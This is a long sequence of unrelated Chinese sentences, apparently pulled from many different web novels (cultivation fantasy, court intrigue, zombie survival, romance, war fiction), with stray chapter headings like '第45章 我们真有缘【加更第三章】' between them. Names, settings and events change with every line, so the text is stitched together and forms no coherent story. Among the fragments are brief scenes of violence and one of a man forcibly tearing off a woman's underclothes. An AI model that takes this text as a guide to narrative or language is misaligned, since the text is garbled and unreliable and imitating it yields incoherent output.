霍沉令抬头,看向雪白的天花板,然后走过去,轻轻拍了拍司爵的肩膀,带着他到了司晨和奶团子那边,将三个孩子抱进自己怀里。 再看双手抱臂跃跃欲试的张燕红,想到大嫂被张燕红怼得哑口无言的样子,霍志勇决定不打嘴炮。 老夫人的作息可是很规律的,再过两炷香的时间,刚好就是老夫人起床的时候。 比如安不尘,比如黎庚,比如调香师,他们都有着不一定的职业能力来辅助警戒,自然是守夜的不二人选。 李治想了一下,就让宦官打开他身后的一面屏风,屏风上写着密密麻麻的字,全部都是人名跟代号。 没有听到声音,谈怀戎蹙眉抬眸,在看到谭晶晶的一瞬间,眼底的戏谑隐秘的浮现。 那些生环的异能者咽着吐沫的心有余悸,连连点头,开始去准备。 李瑶华下喉的茶苦了几分,面上好不容易有的轻松也同时烟消云散。 沐佩杉好奇的想跟着那个有些熟悉的风衣男,上去看看是什么情况,工地那边打来电话,说是有点问题需要她过去处理一下,她只好带着疑问离开。 一句话让李鑫有些气结,恶狠狠的瞪了邹炎炎一眼然后坐到了凳子上去,看见她那一副无所谓的样子他心里就一团火。也不知道为什么,他就是想要看为难邹炎炎想要看见她出糗。可是也没有成功。这是气人。 可源源不断的黄鼠狼从上面往下跳,一下子就有二三十只之多,整个洞穴里全是黄鼠狼了。 现调整如下:提莫的蘑菇对己方英雄可见并且不造成任何伤害;冷却时间从之前的1秒储存一个且存放数量无限,变成每20储存一个且只能存放三个蘑菇。 殿上人不多,除了几个年轻的皇帝亲信,便只有林司丞了。见这架式,林司丞慌忙跪倒在地。 那风忽啦一声,将璎珞直直卷入天际,转眼间,那怪风便与璎珞一同,消失在空气中……大地回暖,艳阳高照,雪光中,一抹雪色身影看着璎珞消失的方向,缓缓绽放出迷人的浅笑。 如果有人在附近藏着,用望远镜之类远距离观察,就算会疏忽了刚才的警察,也肯定不会疏忽了他。 守护屏障之强力,几乎是触碰到的下一刻,双子就被屏障的反震力弹开。 一次闪避可以说得是凑巧,可是在这么近的距离中再一次的闪避成功,这就不是用巧合可以来解释清楚的了。 外人看来,它反倒像是一个身材比较高的憨厚大汉而已,当然如果他不咧嘴笑的话。 一把古琴浮现在林清面前。“这是你前世的那把古琴。”林清拿出洛神转世时候留下的古琴说道。 “凭你这种力道的攻击,是无法对我造成伤寒的!”雷云清神色一冷。 十二月二日是出院的好日子,这一天楚城早早的就到医院楼下去接胖子了。 毕竟是业界龙头,他这么说自然不会有人反对,何况这事原来就和别人没什么关系。 幽荧见她说的是师父,眼中却带着情意,心下了然也不多言,笑着应承了下来。 王义身在半空,虽然还没反应过来幽羽怎么突然有这么大劲,就看见幽羽伸手去抓自己的那道灵力风刃。 他冲进去割断了绑住他们三人的绳子,金无名和秦歌的内伤有点重,但不至于有性命之忧。 再等等,过上几个月,他保准表演个口若悬河,让人看看什么是一岁开口,口齿伶俐的惊世奇才。 可是对方那从远处遥遥传来的轻声,却又是很诡异的,回响在他们的脑海之中。 怀铭今天休沐,带着弟妹们写春联,谁住的院子谁来写,写得再丑也要贴上。 紧接着李观棋全身气血涌动,恐怖的力量直接将方圆百丈内的大雨紧接震碎。 直到夜色渐浓,再不休息就要影响明天的工作,两人才依依不舍地下楼。 宁博阳对于我做了千户,大为高兴,原本以为我会是一级一级往上升,不想我被皇上钦点,做了千户。他少有的恭维我,甚至和原来那帮兄弟说,准备请客,庆祝我做了千户。 第43章 发现幸福的规律【加更第一章】 现阶段撕破脸是错误的决定,惹急了眼,雇佣军团能把西班牙的能源运输和原材料运输停顿了,那政府工作可就难受了,油气价格上涨不说,关键是特么的没有,民众能不闹腾吗? 银光依旧流淌着寒芒,就像是唐孟初次与它见面一般,握在手中有种令人安心的冰冷。 唐三藏有些意外地向着楼的方向看去,没想到还有人敢在这个时候出声提醒他们,看牌匾应该是家卖房四宝的店铺,刚好看到那中年男人提着木棍的背影,目光落在那向着楼跑去的疯子身上时,脸色也是冷了许多。 正说着,门开了,唐孟与阿曼达走了进来,唐孟还是一脸淡然。阿曼达也是面不改色的,让人看不出消息的好坏。 “怎么没有多睡会,你昨天晚上的样子把我们都吓死了!”娜塔莉亚盯着吴宸仔细看了一遍,总算是放心了。 青羽用丝帕仔细擦拭了一下锤子表层,上面有了血迹,将丝帕浸润了太圭的水。 她觉得这光头跟路边那些猥琐大叔没差别,总觉得没什么好事儿似的。 恩,没错,那是一份来自某个老司机的羞耻物手办订单,订单的要求还特别注明了一定要完美还原本子情节。 不过,你这好像都是风景照。我只看到,玄关那儿有一幅,像是你的照片。 他脸上带着笑,心里不是不遗憾的,但想想她有这样的将来,他也高兴。 也就是说,在不同的疾病中,主张诊断和主张治疗的贡献占比不同。 如果到时候连粮草都没有,随同他们起兵造反的将士连饭都吃不饱,连力气都没有,还拿什么去杀敌? “不该打听的少打听!”温陈手掌按在老太监背后,一把将其推了出去。 早就一脸忐忑等待着的林雷看到这一幕,当即心理防线一崩,哇地一声哭了出来。 周欢脑洞大开地胡乱猜测着,但不管怎么样,今天正好和乐萱姐提到了这件事,那不妨就试一试,亲自去找一找。 也怪不得他们敢在副本内清场,而不担心是否能通关副本,因为他们手头有压箱底的东西,只需要先排除‘抢BOSS’的人。 不过片刻,四人就见到苏阳又刨了一连串的土豆出来,个个都是又大又圆。 “可惜了,如果拼着损耗少许,或许能留下黑煞魔神。”武圣有些惋惜。 瞿能胃口被调足,也清晰地意识到,今夜是攻下北平的唯一希望。 老人可能是觉得,让儿子招待他已经是莫大的面子了。陈福生这样的晚辈,还不至于兴师动众。 身体的颜色依旧是绿色,但又印上了一些看着就有点古老的奇怪能量纹路。 “这儿发生什么事了?这么热闹?”曹仁满是肌肉的右手拍向了一个士兵的肩膀,疼得他倒吸了一口凉气。 习慕楠浮夸的伸出手,刘庆武双手在袖子上一顿捯饬,扶着习慕楠做到椅子上,像极了慈禧太后身边的李公公。 桃夭跟着走了过去,隔着窗棂她看到园子里十几个分成好几堆正在玩耍嬉笑的姑娘们,有赏花的,有坐在亭子里聊天的,有在竹林那片阴晾处下棋的,她还看到了两个姑娘顶着太阳在鱼池边喂鱼。 魏军的行动令孙权倍感不安,他怕濡须守将周泰顶不住,便派吕蒙、蒋钦二人救场,火线任命吕蒙、蒋钦为濡须督,持节,率领徐盛、朱然等将抵抗曹操,同时又派陆逊率轻兵进攻费栈。 “我没有和你开玩笑,你知道我的,我从来不会和你开这种玩笑。 一百人以上,五百人一下的有三十家,五百人以上,一千人以下的有八家。 方黎满意的回到了武市,京城那边筹备节目估计也要一段时间,暂时也没必要留在那里了。 待到白云山滔滔不绝的话语说到中段时,秋元康才总算回过神来,耐心地听了下去。 元辰护她一时,他们也就让她一时;等到元辰厌倦她的时候,那她在他们的眼中就是可以随意踩死的蝼蚁;哪怕元辰不会厌倦她,他能宠了她,未必就不能宠第二人。 又是重要的事宣布,好像每一次宣布什么事,他都是被他们一家人摆弄,而他作为沈家的大少爷,连自己的思想都不能有。 苏安暖向来会把赚钱的机会给自己的人,但是蒋西情这次是过分了。 用手轻轻将喜帕的下摆向上撩起一些,能够清楚的看到这屋子里已经被摆满了君子兰,各个种类的君子兰摆放整齐,错落有致,观之便让人的心情大好了。 想到刚才在医院外,苏宁是怎么对待方思彤的,沈悠然陷入了沉思。 不看了,看到后她大概会心软吧?因为他是这个世界上唯一一个给过自己温暖的人,在他身边的日子她才是活着的,可惜的是,从前的她并不懂得珍惜。 没有受到世事的一点打压,挫折,没有付出任何,便能坐拥一切。 身后传来轻微的脚步声,万万岁从顾西决身上下来,转身就跑到了顾律辰面前,愤怒的瞪着他。 他说到最后,声音几不可闻,却让染柒握着刀的手猛然颤了一颤。 他确实是有点累的,这么大个家,还有他这个一把年纪的老头操心。 她不敢冒险,也没资格去冒险,她决定等这个周末一过就去找那个神秘男人好好谈谈。 “哈哈!原来是赫易前辈介绍你来的,真是失敬!”秦斐哈哈一笑说道。 风千闻言点头,分清楚不同的插孔形状,将两枚龙吟凤舞玉簪插入了石门插孔当中。 阿牛喘着粗气,看了看她那娇艳欲滴的双唇,曾经被阿牛强吻过两次,阿牛至今都记得那芬香的味道。“我不杀你!”阿牛趁其不备,一手伸进了她衣服里,将里面的内衣强行撕扯下。 向导将族长的话语说给了龙杰听,龙杰仔细一看,那巫师手里拿着的,赫然是他们大琰国赌场里最常用的东西----赌盅。 第44章 你们艺术家啊【加更第二章】 “那好,那你就先说说你为什么要救我”这是赵信一直都不明白的事情,按理说自己当初毁了他的清修,即使对方不恨自己,也不该对自己施以援手的。 这边!按照李然的指示,火巨灵统领蒂梵妮正试图说服这个深渊炼魔归降,而在另一边,因为已经将其包围,再加上有李然与一众半神级强者盯着,所以包括段波在内的所有人,却也是很是轻松的聊了起来。 不过,众元婴修士此刻却没有往这些巨柱看上一眼,而是分别聚广场之后最里面的一端前。 “果然厉害!”苏慕白对那个不知道什么时候现自己的敌人赞叹。 听闻到夋三失态又张狂的笑声,夋五和夋四几乎同时聚拢了过来。 鸣人这回没有直接把他治好,而是推拿了一会又给他开了三枚普通的丹药,让他一天吃一枚连吃三天就可以了。 纳兰洛这下终于反应过来了,赶紧调整姿势,把糖宝儿竖着抱了起来,让她可以正面看清楚整个前面的空间。 “行了,想不明白就别想了,咱们是不是应该找个地方休息一下”虽然吸食了百余人的精血使得赵信精力旺盛了一些,但是赵信偶尔还会感受到一丝疲惫,而休息则是最好解除疲惫的方式。 所以,这结晶体就相当于一个通讯工具,当然只是单方面的通讯而已。 “没错,虽然这里是你的管辖之地,但我们进入这里也是有任务在身,希望你们不要妨碍我们的任务。”杰诺瓦淡淡道。 道下官员结构同州,厅官改为处官,部门为处治,官品比厅级要第一级到两级。 这期间陈浩光斩杀同级别的混沌天尊就达到了三人之多,让人侧面,震惊了整个诸神遗迹。 如今只剩下了不到四十五万兵力,抛却驻扎各地,长达上千公里的防线的冷兵器部队的十万兵马,水师的五万兵马,以及鳌拜的五万清军,他悲催的发现,自己只有二十多万兵马的指挥权了。 又斗了片刻,紫裟剑势威力增长缓慢,而紫裟、成虎法力消耗殆尽,旧伤隐隐发作。 这两人是丰羽秀雄的贴身护卫,丰羽秀雄走到哪里,他们二人就跟到哪里。 “多谢大总统,仗打成这样,跟我的指挥有很大关系,我愿意接受任何处分。”图里马上说道。 “背景,呵呵,就算他背后的人再强大,但他的实力,终究只是一名二阶灵士罢了,等出了黑市,我们找个机会,直接把他宰了,到那时,他所有的东西,都将是我们的。”谢冠冷笑道。 地下空间的气体比较正常,就是普通的空气,在空气成分上稍有差别,但区别不大。土壤样本就比较奇怪了,样本中发现了一种奇怪的植物,这个植物非常像是苜蓿,但是没有叶绿素。 从画面上能够看出来,这是一只飞鱼的视角,当它飞出水面的时候,潜艇拉着捕鲸船狂奔的影像就出现在墙壁上。 成骋连忙到包厢外打了同伴的电话,让其将杨亦带到殷锒戈和宋佑等人所在的这间包厢。 “喔,莫非关于鑫儿的事儿另有隐情?”裴涩元听出了裴福话里带着其它的意味。 韩国评审员被打得蒙了圈,原以为化解了所有的秘术,没想到肖涛突然之间加强了风刃术,这些变大的风刃仍然伤不了他,但给他造成不少困绕,严重阻碍他前进的步伐。 莫燃取了匕首埋头干活,根本没看到司徒允潇的表情,也不知道有什么好开心的。 结果吻着吻着,倪叶心忽然脑袋一晕乎,然后微微睁开一丝缝隙,就发现自己已经被慕容长情给压倒在床/上了。 如果能第一个使用殷怜的形象,肯定能得到最大的好处。导演毫不怀疑,以后选择使用殷怜形象的人会很多,但是第一次亮相,总是不同别次。 看着温洋一脸期待,殷锒戈也不忍心直接说不想要,于是便模棱两口的敷衍着温洋,嘴上说着要先去学学如何做爸爸,但行动上没有任何支持温洋的行为,常常避谈养孩子的事。 大量的人手安排下去所带来的直接结果,便是每日晨昏车拉马拽的送进东厂之中的几箱子几箱子的卷宗信笺。 桓龁却没有王翦那么幸运,当初他不过总角之年,根本就没有获得灵机,所以,哪怕他修炼了功法,却连练气期都没进入。 上官踏天表情一僵,瞬间就感觉到一股股怒火万丈的目光贴着自己,那是众人之怒。 第45章 我们真有缘【加更第三章】 “提颅古佛,师弟,你又忘记吟颂佛号了。”明缘荡开一名修士扫来的灵力,出声提醒道。 “娘,这还不知道王家是什么意思,您也太急了吧”陈宁苦笑道。 崔封此刻处于一种极度亢奋的状态,暗自冷笑一声,调转身子朝着孟岩蚺冲了过去。 “妈的!气死老子了!”使劲拍了拍桌子,西门龙气急败坏地道,但现在时间已经不多了,他也只能老老实实地去比赛。 漫天炮火之中,萧蔚远率领的永恒之星号稳定地发动了引擎,将舰船的速度在最短时间内加到最大,顶着敌人疯狂的攒射和阻击,向外星侵略者渐渐驶近的中央旗舰冲去。。 看着向自己飞来的大汉,史炎犹豫了会,最终身形一闪,给那飞来的大汉让出了一条线,既不去杀他,也不去救他。那大汉从史炎的身旁飞过,之后不可避免的撞在了一棵粗大的大树之上。 噗嗤一笑,刘晓玲一伸手捏住了他的脸,笑道:“怎么?你还想继续当男神,身后跟一堆迷妹?”说着,顺手拔了一根他的头发。 实验挡下了龙冰冰的一击,二人向后退了一些距离,正当二人正准备再次交手之际,台下突然骚动了起来。很多人围在了一起,不久之后,又来了许多炎龙谷的弟子,这些炎龙谷的人散开了众人。 “老爷的事情?”寄云的惠妃的陪嫁丫鬟,所以提起李志诚的时候,还是不自觉的尊称老爷。 “从来没有见过她这么疲惫和低沉。。”朴海超望着她的背影喃喃地说。 “呵呵,虽然累,也多,但你们的泪水。我一辈子都会被你们擦!”陈韶来到九人的面前,亲手为她们擦着流出的泪水。 可等他一脚越过门槛进入大殿之中,眼前的场景却是陡然一变,几乎就是这么一瞬之间仿佛进入了另一个平行空间当中,原本从外面看空无一人的大殿,此刻人来人往,但很少有人说话交流,以至于有些沉闷压抑。 我该怎么办?万一金链子把我锁起来,夏浩宇岂不是更难找到我?我必须想办法拖延时间,等着夏浩宇来救我才行,怎么办?我该怎么办? 潘金莲认得是徐妈妈的声音,她心中既惊又恨,不知道她为何要来害我。 “大~大~大发!”哪怕是陈韶的老婆们,再看见自己老公这么凶猛的时候,都瞪大了眼睛,陈诗烟也例外。 半晌之后,谷树皮总算是跌跌撞撞地跑回来了。只见他光着身子,顶着一对儿熊猫眼,脸上泪痕依稀可见。原来谷树皮人挫腿短,虽然他一见到强盗的影子立刻丢了担子逃跑,但还是被强盗们追上剥了个精光。 云雀儿听了,心中恼恨,不知骂了老太君多少句“老而不”,可她也是无可奈何,眼睁睁的看着武松拿了银子便走了。 想着想着,想到那娇羞的李巧奴,不禁微微一笑,从怀里拿出那事物,挤压两下,闻着阵阵幽香,十分舒服,酒气也消退不少,十分神奇。 方七回头去看,轩辕弘竟不知何时已不在身边,两人不由都有些脸红,垂下了头慢慢往回走。 她还是万众瞩目的独舞皇后,美丽和魅惑的代言人,贵族名流们争相追捧的明珠。 那雷霆刚一出现,外面的天空似乎都隐隐昏暗了下来,像是有一片片雷云在头顶凝聚。 “各位好汉,我们真的是无意闯入,各位好汉高抬贵手。”叶天一边说着,一边拉着二炮往大殿里走。 在第三十六号机械工厂某处的一个巨大空间内,幽蓝色的灯光徒然亮起,一张巨大的金属圆桌摆放在这个空间的正中央,桌子的周围还码着七张椅子。 “类似于魔法的能力。”林艾说道,不知她们看过修仙没有,看过的话就知道现在是个什么情况了,但很显然,这个世界没有修仙……有也是在几千年前,莱德森她们肯定没有看过。 不过,在凌昊看来那不过是暴殄天物而已,毕竟药材生吃和炼制成药的效果无法相比。 忽然之间, 温若流闷哼了一声, 用手撑住了墙, 身体晃了晃,差点撞到了简禾的鼻子。她有了种不祥的预感,伸手摸了摸他的后背, 摸到了一片粘腻。 当知道自己并没有因为考举而心态有什么变化。沈石也就不再去想它了,反倒是觉得有些饿了。 游戏里面没有什么巨大颠覆的做法,但是游戏的过程火暴无比,而且也做了行业之中,首创的“乘物”系统。 人的世界,除了聪明人外,傻子同样不少。而他们的血肉恐怕也是很可口了的。密密麻麻的猩红色瞳孔令人心中发寒,但是沈石却连脸色都没有变一下,只是探手从怀中取出了一枚玉器。 胖子找准机会就朝黄色变异猫脑袋狠狠的劈了下来,没想到黄色变异猫好像背后有眼睛一样轻易的就躲开了胖子的攻击。 “前不久米洛亚共和国占领了哈马平原的魔兽保护区,我们国家对加强了对哈马平原联邦部分的兵力,这干扰可能就是联邦军造成的。”穆远推断道。 第46章 罗南先生真是个好人啊 在柱子边上散落着几十具尸体,都是金天骄的亲信,或是和金天骄私交不错的将领,全部都被诛杀了。 他当即启动了北冥冰蚕,将北神真气冰寒化,之后,再次包裹向了天一神水。 杨易眉头皱的更深了,他当日的确立下誓言,要宗师百倍偿还,但,他当时身体虚弱,话语声不大,听到的人,绝对没有多少。 此刻,已经确定了遗迹的位置,只要找到黄沙最薄弱的那个范围,自然就是遗迹的入口。 离开之后,姜子牙才感觉到自己背后一片冰冷,赫然是出了一身冷汗。 也不晓得他是说“不知道自己有多么厉害”,还是“不知道整件事的来龙去脉”。 争夺帝星虽然是佛道两门为主力,但是不代表别的人不能浑水摸鱼,以往类似的事情也不是没有发生过,毕竟佛道两门所能接受的最后底线是不让对方拿走。 这么长时间,玄蛇暗卫还未来此助战,只有两种可能,一种,便是被拖延住了。一种,就是真的已经被灭了。 内气附着长剑,显现异象,这水上飞鹰无疑是用出了全部的实力,打算依靠强横至极的内气,彻底打垮杨易。 最重要的一点是,虽然二人的举动可谓惊天之举,然而两人的智谋、勇力实在是乏善可陈。 “有没有可能萧红玉隐瞒了他们的死,后面疯掉后想要杀萧轩的时候,萧轩以为她是凶手?”夏羽猜测道。 门外几个甲士按剑走进来,温赫一看这架势,好汉不吃眼前亏,行礼之后退了出去。 自从知道这是个全民皆武的时代后,宁宁就养成了天天锻炼身体的好习惯,辅以星辰诀的修炼,即使她没怎么特意注重武力值方面的培养,她的精神力和体质都已经稳步接触到s级的边缘。 “你以为找对象很容易吗?说得那么简单!”郑曙明的眉头依旧没有松开。 佣人抖抖索索地捧出了一个新的电话,蒋家人眼前一亮,眼巴巴地看着蒋老打电话求援。李思薇也不例外,她不是没试过回头找自己那些拥护者,但早在蒋家刚出事不久,那些人就连人影都找不到了。 她不认为陈枫有实力对抗夏羽叔侄二人,但不知道为什么,看着他眼神中的深沉和自信,她又有点想相信了,毕竟找情夫任务的时候,她也认为陈枫死定了。 想要救那些兵将必须南宫玄去采药,不用想,那里针对南宫玄的陷阱早就布置好了。 “不,折磨你太浪费时间了,你怎么对我的,我就怎么对你。”云歌笑了,那笑容邪肆的很。 两人刚坐下的时候还有些忐忑不安,毕竟面前压着一座大山,即使面前人是他亲堂哥,可祁皓就没不怕过他堂哥,记忆里他堂哥特别高冷又不好接触,冷不丁视线接触,都能吓的他打个冷颤。 虽然没人敢在席尧面前捋胡须,但一个个闪烁的眼神明显地让李特助想忽视都做不到。 “呵呵,行,那你等着吧!”没有再多说什么,心中不免有些好笑,徐天突然感觉自己跟戴伟好像活得并不是一个时代。 正想着,凌长风只听不远处高墙上有些动静,转头一看,才发现一个身影突然跳进了三部操场之中,不禁一笑,是哪个学员刚逃课回来吧。 凌峰这才细细打量了此人,只见他一身白衣,手握红色折扇,眼睛很是阴柔,眉宇之间有种阴狠之色,嘴唇微薄,看起来像是一个性情薄凉之人。 三王爷说:“早上已经送出去消息了,王府内的人收到消息,会立即禀明皇上,皇上会立即下令派人去截获那批赈灾银。 大汉听到这话,张张嘴准备说什么,但最后似乎是想到了什么,赶忙闭口不言,一脸担忧地看着单薄中年。 无奈之下,他们值得把所有的信息都反馈给姜逸,而姜逸即便是在洞府里面,也能够有自己的方法他们两人联系,一听到这个消息,姜逸就急急忙忙的赶了过来。 其实上苍很公平的,给了唐剑医学天赋,给祈轩的,就是武学天赋。 他当然吃惊,因为他不明白,卫长风是如何猜到他方才是嘱咐士兵速去给卫长风预备住处的。 “这好象是一支奇怪的弓,而且是一支可以安在车上的奇怪的弓。”郑六终于下了结论。 这种奇怪的号角声不但吸引了卫长风,也吸引了其他汉军将军,众人纷纷抬头张望。 柳盈盈连外衫都懒得穿,露着肩膀,气势汹汹的冲到燕洄面前,抬手就要和燕洄对着干。 “你很自恋咧?”岑芸噗嗤笑了,如拨开云雾露出来的月芽儿,照亮了夜色,瓜瓜看呆了。 若是这些把柄落到人类手中,到时候地星全体真的怒了,想要拼个鱼死网破的话,雷妖族的下场还不一定是什么样的呢。 男人迅速穿上了衣服,他下了床,他要离开这里,可是刚一站起来脑袋就开始疼。他一只手摁着脑袋,一只手扶着墙,柳溪看到机会来了,她站起来抱住了他,身体抵在男人的背上。 他既然如此讨厌姬无月,如此虐待姬无月这个儿子,陆颜霜当然不会搭理他。 在这以剑道实力论强弱的剑渊之中,显然他的战力绝对排得上号。 雷洛一只手背后,一只手夹着香烟,眯着眼深深地抽了一口,吐出一个烟圈。 “倘若不是赵王世子定亲,想必这庄园也不会让咱们进来的。”凤舒撅着嘴道。 在莉莉骑着狮子向白色光束的“星级舞台”赶去的时候,白夜也从和大兔子一起翻滚的眩晕状态中回过了神来。 这件宝物兄弟两人一直没有催动过,一直暗中灌输力量,积累力量,便是希望有一天能达到可以击杀那位九重天金魔的大仇人。 宁芊芊也愿意带着她赚钱,香包卖的钱,她只拿了一成的钱,其他都给了王桂花。 第47章 沉重的爱! “副会长,他们已经进去五分钟了,还没有动静,是不是出事儿了?”在王玮所在的别墅正对面,坐镇的SSS级强者正透过窗户,看着王玮别墅的情况,脸上不悲不喜,看不出任何表情。 却没想到今天,在面对王玮、面对死亡的庞大压力下,他终于踏出最后一步,实力突破了。 “不,我没有合法的手续,杀你?如果你真的执迷不悟,我一但有上面传下来的命令之后,我会杀了你,亲手送你上路。”李朝解下皮带,一甩手,皮带便变直硬,皮带外表破碎,在皮带的里面竟是一柄长剑。 刚开头就来了这么一首绝诗,马上引起了听众们热烈的掌声和叫唤声。 一天后,暮璃和她娘果然走了,离别时暮璃哭的特别伤心,千叮万嘱要陈贤以后去找她玩,然后她娘带着让陈贤发毛的眼神离去了。 “每人五十两,回到朔方后,好生安顿你们的家人吧!”冯端看着众人,言辞恳切地嘱咐道。 说罢,便关闭了手表的功能,看起来只是一只普通的手表而已,沈鹰本想再问些什么,只是手表的通讯功能已经被关闭了,索性开始倒计时,随时等待沈枫的信息。 众人看着如沙包般被扔下楼的荣明三人,心中微凛,当初自己还在想几名少年到底是不是过江猛龙,现在想来,简直可笑。他们就是特么的过江超级龙,猛到没边没沿。 罗浩更不闲着,他一边消耗念力具现灵石,一边穿针引线,把大阵的各个节点连在一起。 “当然好了,我都说了和我冷魅姐很投缘了,听你这话,你是不想让我们好了?”董丽一脸质问的对着沈枫问道。 纪映茹抱起她,“你终于知道害怕啦?”她环顾四周:来处树丛十分茂密,甚难行,另一处稀疏些。 可一看到梁寂前来,他迫切的想要和梁寂一同商议些什么,好在梁寂看向了他,他朝梁寂使了个眼色,梁寂点了点头,便先行一步走了。 "这是好东西,我特意求来的,那大师说喝了这个保证能生男孩。"张敏喜滋滋的端着那碗汤药便走出了厨房。 整个别墅都没有开灯,这倒不是为了防备丧尸。丧尸的视觉基本上没什么用!之所以不开灯,是为了防备可能会出现的居心叵测的人。谁也不想自己在睡梦中被人闯进家来,被偷偷干掉。 后来看到建德郡来的流民,她身体就更不好,就是公务也是勉强提着精神处理的,每日只处理半天,别的时候都在休息,哪有时间见郗二郎,且她现在体弱的模样也不适合见外客。 她善体上意,很得高王妃信任,世子夫人因悲伤过度一病不起,高王妃就派她去劝解世子夫人。她从世子夫人对答的蛛丝马迹中发现了世子夫人的想法,便暗中留意世子夫人,想让她在关键时刻助他们一臂之力。 这么多的东西肯定是事先准备好的,不可能是仓促传送之间带来的,他们很有可能掌握了传送的方法,林椿很激动。 王韩这人不好惹,陈宋自然也不好惹,她倒是想看看,这两人碰撞在一起会怎样。 南宫墨一直安静的坐在一旁不曾开口,但是每每看向南宫悦时,又会忍不住再看一眼沐璃,眼神中却带着些纠结和不易察觉的极细微的暗淡。 伊薇张了张嘴,但是不知道说些什么,最后还是闭上了自己的嘴巴。 雾又加重了,浓雾中人影一闪,我面前已经多了一个高大的青铜盔甲武士,双手横在腰间,托着那只神秘的座钟。这是客厅里的那尊雕像,但它怎么会动?不过是甲贺忍者的障眼法而已。 杨国华在击中吴刚的同时,陈勺的拳头朝着他的后背击来,杨国华身形一闪,险险躲过了陈勺的攻击。 就这么静静地站着,看着对方,燕清舞拉着行李,她没有想到在机场接她的不是家人而是这个三年来销声匿迹的男人。 “火焰门门主、水门门主到来……”门外此刻又响起了侍卫那颤抖般的叫声。 四人点了点头,围魏救赵确实比起直接驰援云南要值当地多,一旦清军发现广西被攻占,消息传到了昆明城下,清军的家事大多都在广西一带,定然是军心动摇,不战自溃。 侦察机就是帝秦海军的眼睛,而且对于帝秦海军起着相当巨大的作用,就如同引世纪的美国军队对他们的比全球定位系统一样依赖。 第一次见到叶樱,也多少让苏菲等然感到有些惊讶,是非常自然的事情。 张老爷子和一些重要的宾客了招呼之后,径直向杨国华这边走过来。 琼丝的这种巫妖状态,是有着无限复生的特性,并且可以将人的修为,永远的固定在半圣的程度,已经是恐怖的异乎寻常。 “好的,李芸一定很高兴!”项春艳语气中透着热意,让张国栋心中一荡,很想问一句你呢? “不是?这只归云雀怎么可能不是风雷双属性?!”宋魁一脸的难以置信,呼吸都是有些急促了,他开始怀疑起周天是故意说:为他找到一只风雷双属性的飞行类妖兽就恢复他自由,目的是为了骗他为少年效力。 第48章 解决不完的问题 鱼玄机目光冰冷的看着箫落,在她眼中,箫落已经是个死人了,没有人可以对赵阳动手,谁敢对赵阳动手,她就杀了谁。 现在李云龙一下成为铁血雄狮军的三军大元帅,这让老蒋如鲠在喉:我一个委员长都不称大元帅,你李云龙称大元帅,这算哪样?完全不把我这个委员长放在眼里? “一万,一万,最后一个,最后一方!”程贺终于看到了一万的所在地点,大声喊道。 北明与东宋的战事僵持了两年多,云锦纾决定升西路军先锋凌宫扬为西路军主将,令其率领西路军早日打下任城。 庞斑其实是故意不用葬天铜棺的,葬天铜棺被青莲空间封印,但是也只是封印到他真圣第一境所能发挥出的最强力量而已,和他在外界能够发挥的功效没两样的。 巧了,南疏不是个委屈自己的人,所以她现在就准备出门去公司,解约。 现在叶阳在交换之前,已经解除了他对气运的控制,所以说他现在虽然有着真圣第八境巅峰的修为,但是实力连一个天罗境都不如。 “吭景·千本樱景严”乃是千本樱景严的第二形态,将千本樱景严的亿万刀刃,围绕成球型将敌人包覆在其中,从全方位无死角的将对方斩碎,其形状极其巨大,原剧情之中,朽木白哉曾经利用这一招,毁掉了大半个虚夜宫。 “这!怎么可能?我们是在城市外围,怎么可能有这么多丧尸,而且还这么聪明的围住我们?”季楚红满脸的不可置信。 “呀呀!我要杀了你!”包天举刀过顶,一个暴冲,看这架式,把一头大象砍两半都没问题。 “你,你说什么?”“我想和二当家要孩子。”青三有点脸红的回答,证明了青青河边草土匪帮没有一个正常人。 仙吕宫被剑气洞穿,北原天光透过孔洞传射而下,无数剑气垂落,被这个年轻男人的剑骨天相柔和拖住。 711事件发生后,全球的军事专家,尤其是参加了第二十一届全球军事论坛的专家和学者心中都感到了震撼。 祁烷和齐逸尘立刻停下了手中的动作,一起难以置信地看着孤倾语。 而这种既然已经综合到复合能量里的灵能,在没有特殊情况,尤其是在我完全没有任何感应的情况下想要独自分离出来,起码在我身上是不可能发生的。 眼看着我们就要接近那三个“怪人”的时候,就见他们突然调转头继续朝着深处走去。 让我们欣慰的是,我并没有发现那些美国佬穿的衣服,所以我是不是可以推断艾米也是安全的了? 她的话语慢慢停下来了,因为她看见祁烷一脸惊呆了看着自己身后。 那缕火焰当中,蕴含着一道微弱的神魂,这道神魂出自于妖族血池,孕育出妖族大千生灵的母地。 法王强势的时候曾经把公教会直接拉到阿维尼翁控制,由此造成了著名的“大分裂”时期。所以心高气傲的法王当然对教皇不屑一顾。 无论是于公于私,夏浩然都希望两人好好地活着,并一直在修炼这条道路上走下去。毕竟,当今末世习武之人太少了,能找到几位脾性相合的道友相形相随,实为不易。 如果是正常情况,她只需要往后退一步,就能稳住身体,可今天她已经受了伤,右腿下意识一动,受伤的膝盖传来剧痛,腿脚顿时失去了力气,朝后摔倒。 不看,叶若捂着眼睛拿出宁死不屈的样子,似乎看了一眼就会长针眼似得。 朱灵琪罕见的耸了耸肩,没有说什么,而是结果兰登手中的一张纸,上面标记出了三个地点,正是兰登的目标。 这棵传奇的茶树果然名不虚传,茶香浓郁,色泽明艳,回甘悠久,让心态逐渐放开来的罗德里克勇称赞不已。 “我自有办法,你还是好好管管你们那一家子吧。”,苏寅政不愿透露。 老板娘收留了她,答应她只卖艺不卖身,还将表哥送到青城山学剑。 圣杯,又称天之杯,是基督教的圣物,其中盛有圣子之血,暗示着神哺育世人的意义。拥有最接近于神本体的力量,可以净化所有神造之物,即使诸天之天使也不敢与之力敌。 “我家爷要见你们花魁,让你们花魁来伺候!”少年傲慢对徐妈妈吩咐道。 随后,他看到白晓竹的手心里一直握着一个黑色的珠子,不由眼神一凌,暗想:“难道是因为这个珠子!”他想起来这是黛比的父亲在临走前给自己的,说是从外域找来的宝物,却不知道有什么作用。 蓝宛婷说的有鼻子有眼,令在场众人不得不信,当然不信他们也拿不出证据,只能蓝宛婷说什么是什么。 如今都城是不能回了,奶娘害怕忠勇王找不到魅影的尸体再有怀疑,派人四处查找他们的下落,所以为防万无一失,奶娘决定不回老家了,带着魅影躲避风头,看看情识再说。 这个说话的暗部,不是别人,正是无月让他回去告诉水影详情的那个暗部队长。 邓奉老实答道:“今日宫里派人来接希公主走了。”不过这个时候还没回来,估计今天是不会回府了。 不过对方似乎也猜到了肖克的想法,没等肖克靠近,禾子就已经避开一个同伙的间隙,攻向正在拼命中的凌古。 其实,对于慕容洛的身份问题,蓝宛婷已有心理准备,但真的被证实了,心中难免还是有些无法接受。 